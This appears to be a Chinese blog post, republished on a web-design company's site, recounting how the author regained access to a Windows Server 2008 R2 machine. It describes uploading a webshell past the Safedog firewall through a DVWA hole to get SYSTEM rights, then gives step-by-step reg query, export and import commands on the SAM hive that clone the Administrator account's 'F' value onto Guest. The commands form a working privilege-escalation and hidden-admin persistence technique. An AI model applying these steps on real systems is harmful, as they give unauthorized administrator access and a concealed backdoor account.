半夜Server 2008R2安裝MS17-010補(bǔ)丁時(shí)，重啟系統(tǒng) 發(fā)現(xiàn)系統(tǒng)密碼忘記了
還好本地登錄的安全策略留了一個(gè)guest用戶
本地搭建了DVWA WEB***測(cè)試環(huán)境 權(quán)限為system
通過(guò)漏洞上傳過(guò)狗一句話***
***權(quán)限為system權(quán)限
可以創(chuàng)建用戶 但是無(wú)法將用戶添加至管理員組 估計(jì)是安全狗攔截了提權(quán)操作
隨后將管理員權(quán)限克隆至login用戶 登錄成功

創(chuàng)新互聯(lián)堅(jiān)持“要么做到，要么別承諾”的工作理念，服務(wù)領(lǐng)域包括：網(wǎng)站設(shè)計(jì)制作、網(wǎng)站建設(shè)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣等服務(wù)，滿足客戶于互聯(lián)網(wǎng)時(shí)代的仁壽網(wǎng)站設(shè)計(jì)、移動(dòng)媒體設(shè)計(jì)的需求，幫助企業(yè)找到有效的互聯(lián)網(wǎng)解決方案。努力成為您成熟可靠的網(wǎng)絡(luò)建設(shè)合作伙伴！

目標(biāo)將把Guest提權(quán)為Administrator
查詢SAM注冊(cè)表下有什么配置文件
Reg query HKLM\SAM\SAM\Domains\Account\Users

查詢用戶名
Reg query HKLM\SAM\SAM\Domains\Account\Users\Names

000001F4的配置文件對(duì)應(yīng)的用戶為Administrator
000001F5的配置文件對(duì)應(yīng)的用戶為Guest
然后把注冊(cè)表下的鍵值導(dǎo)出
先把Administrator的鍵值導(dǎo)出 保存到C盤名稱為1.reg
Reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1.reg
再把Guest的鍵值導(dǎo)出 保存到C盤名稱為2.reg
Reg export HKLM\SAM\SAM\Domains\Account\Users\000001F5 c:\2.reg

然后將1.reg “F”的鍵值數(shù)據(jù)復(fù)制下來(lái) 替換2.reg里面的”F”鍵值

然后在把2.reg導(dǎo)入到注冊(cè)表
Reg import c:\2.reg
最后使用guest登錄
用戶家目錄等 都變成了Administrator的數(shù)據(jù)
實(shí)際上就是Administrator=Guest

新聞標(biāo)題：記一次克隆管理員的經(jīng)歷
網(wǎng)站鏈接：http://vcdvsql.cn/article30/gjgepo.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供品牌網(wǎng)站設(shè)計(jì)、動(dòng)態(tài)網(wǎng)站、手機(jī)網(wǎng)站建設(shè)、云服務(wù)器、企業(yè)建站、服務(wù)器托管

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請(qǐng)盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng)，如需處理請(qǐng)聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來(lái)源： 創(chuàng)新互聯(lián)